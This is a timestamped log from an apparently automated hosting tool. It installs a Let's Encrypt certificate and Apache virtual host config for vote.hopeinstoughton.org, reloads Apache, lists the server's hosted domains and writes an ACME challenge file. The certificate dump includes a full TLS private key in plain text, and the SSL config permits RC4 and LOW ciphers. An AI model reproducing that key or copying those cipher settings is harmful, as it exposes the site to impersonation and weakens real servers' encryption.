fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:00:33:
chmod 755 /tmp/pkp643482; /tmp/pkp643482; rm /tmp/pkp643482
2025-09-06 06:00:33:
dir=/etc/ssl/certs
2025-09-06 06:00:33:
PUT: /tmp/pkp541746
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:00:33:
chmod 755 /tmp/pkp541746; /tmp/pkp541746; rm /tmp/pkp541746
2025-09-06 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:00:33:
PUT: /tmp/pkp295928
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi
2025-09-06 06:00:33:
chmod 755 /tmp/pkp295928; /tmp/pkp295928; rm /tmp/pkp295928
2025-09-06 06:00:33:
2025-09-06 06:00:33:
PUT: /tmp/pkp529611
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:00:33:
chmod 755 /tmp/pkp529611; /tmp/pkp529611; rm /tmp/pkp529611
2025-09-06 06:00:34:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:00:34: Establishing a connection
2025-09-06 06:00:34:
PUT: /tmp/pkp164916
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:00:34:
chmod 755 /tmp/pkp164916; /tmp/pkp164916; rm /tmp/pkp164916
2025-09-06 06:00:34:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:00:34:
PUT: /tmp/pkp506200
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:00:34:
chmod 755 /tmp/pkp506200; /tmp/pkp506200; rm /tmp/pkp506200
2025-09-06 06:00:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 1655
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:00:34:
PUT: /tmp/pkp547015
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:00:34:
chmod 755 /tmp/pkp547015; /tmp/pkp547015; rm /tmp/pkp547015
2025-09-06 06:00:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt 5376
c7:6e:58:27:ca:ab:b1:a4:80:61:de:0c:4b:45:8d:fc
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBZ9yQkfjJga3m9curHklTTxgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjAyWhcNMjUxMjA1MDUwMjAxWjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDDENg8L7pxLwaf54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93m
GyBojYul4BNLLK7/Yho8BfCTyrjN2cRogJurad6GedseqBWi436B+ZLMUHAiwQXr
D4eZKXoYmsBdAb++Yfi0ptivVgx6XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk
1DqnI+jyjOHLN4lvKy/N1PkJFjb+y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBe
bGptvesOwN4CqMfz/Oo8/rI+Br1dKqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJv
z1N5YiMhU+znyRDGGX7D3AZSuU0gSIv9ZdkvAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFI3GKh8j8w1tl9djL4tXhSkSC0RLMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZHZyz5gAABAMARzBFAiEAgHp+ErC16ODG0OUSHp0w/wpe5B6G1yw8npXJQXnj
W4MCIFrxiAuwIKzYRFOSO2POmYRZQi+GzDqGwE3hPcDs0Y0ZAHYAEvFONL1TckyE
BhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZyz6AAABAMARzBFAiEAp+N2dC46
Zgy43xf8o6Oy+M25EfoaBOp1DAgIbwGAEJQCIAQiUy6YCF6rrvvQShxkN+9rcAls
qOZecJLvGwXZvWfwMA0GCSqGSIb3DQEBCwUAA4IBAQCgZLqaVMYUe+ZkwsbyFFAZ
yrw8xLnorHNs7tuASzbQoQjMGgdFA8MuYtfcZewycM4z6nWW2wk2L42m9BNuaYc6
8ULqAGnDJ3xx1h8pwc1psOqStxK4gYGhe86x3npqHCTZ6zWjtbVDKFp6Z8dS0VD+
+brta/nVwDArio4C1C0BXVwM5P6LXc5OhGumGHMDg3TcYzYnQalsevG0vBAfAq5s
TGbytylKrypuDGZ03RtqFQJ5z3vF8P9vJvRS7w9PmxviVoV4alrvVkUKeFQLjLq1
7+noCJL24K2bhyPV9UyzXcJlIeoR8NLoYbiFCJkHSRhwAGuNMeGRndukRQGsLlAJ
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDDENg8L7pxLwaf
54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93mGyBojYul4BNLLK7/Yho8BfCTyrjN
2cRogJurad6GedseqBWi436B+ZLMUHAiwQXrD4eZKXoYmsBdAb++Yfi0ptivVgx6
XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk1DqnI+jyjOHLN4lvKy/N1PkJFjb+
y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBebGptvesOwN4CqMfz/Oo8/rI+Br1d
Kqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJvz1N5YiMhU+znyRDGGX7D3AZSuU0g
SIv9ZdkvAgMBAAECggEBAKpKQUvBqvT2RcVA+Ol3473crIF3AGx3A/eaCd0Azjym
bUGKrfAdDFzZ/OixRoahGqDOhvKRiOWs20qx6roEVGH/iYlCRh1sRX8vNRjIxPPi
4RImCkGcDBeU0wc5yecoCLlulA05fv8Kktgcf6Iom4yJeZlx9Jvg9VTAY5veoGMP
EB56zwQIKy8d5xSouSMZ2w7ihW/xfbGrDzc1VluuaUazwzOlOXgn/aOvtP0P2Pki
NoEVcXYKSKr4Wp80ABgWYNWu9z/e1DzNSco0k9gsVCBye8uC95ZJlugJI/Gklff9
PDJxKi8doslTiYyzWfN3VSMc4L4TmSO/m2VADFV7A1kCgYEA654pSCIicYCfHEcz
7BBJqS4Nq/tT5W7nc3mBHLT/ItnTMF//TVBOgSXL33OHsVKh90c4jOxT3SIlCLfb
ztw2YW6yZHvRtge0ZAr2stu2/Ovcn7kBEn5bkY0fZPsOqJynYYWlgDMbgfbk/tTQ
4gMIhJsxLOxV0ZteIvXYpvg1bW0CgYEA0/ClE6f/rVAyyjJnBjAvB1FmYFnM2p5j
yqpOOxbBKIPW+k0es6lJKHYb+lWYO/6z27LAfuBfDJJP7dq03Oj3DC8/SYvduAST
g1NYx9tz3haVovdEVeKAchfDP1tsiomQySvGSTl32NWsRt0GhwtH5hAdNF0xtDGC
5Kn0P3hWy4sCgYAnW0TkAqekM+rf61jV7qaPNt0bxCBwa4UHud0CMY2IgcAQDYj0
nhxu4CRcz8xzpyzcxC3DBFrBzklHWobB1/DRd48ez7vo3wKXz2kD2UWIm9E/cMSo
FSkwd9Utpe395iTjWlKZxm+q1tXLZzr49a6/j7i4G0X+fChOSKiGw2ERRQKBgQCt
lta+aMWDgMJ41huH+AMs7UD6/dJJ5Z06q47z2slOk92KmYvh/2/KUiLMQTs1OIK8
GYaM5N01AMmyuYWVwsJGGpSten+ZbzYbRDLdTyNx7fGVzw0Lgz9NM6VZyVn3hoEu
JEp+QzGkSi6WxAXKqjSzfNNOxl4lhr/85i8FpV0BzQKBgQDOwqh7sg/VfQrpxTqW
6TSYL+GsG9P063KElyj90ybCmCDM+Gl4g1xirkKy7rX380OiMfPPKdn239HYroug
WU/UXXS8Lnf6kR2glUR3e174yWCUyKQDRCRnDLmwa8I0oqMnjB3HoYyq+sbLTzOG
ttAI8+X++Y+BRSPPpwzalk0j2Q==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-06 06:00:34: Establishing a connection
2025-09-06 06:00:34: Establishing a connection
2025-09-06 06:00:34:
PUT: /tmp/pkp835819
#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:00:35:
chmod 755 /tmp/pkp835819; /tmp/pkp835819; rm /tmp/pkp835819
2025-09-06 06:00:35:
1
2025-09-06 06:00:36: Establishing a connection
2025-09-06 06:00:36:
PUT: /tmp/pkp916603
#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8
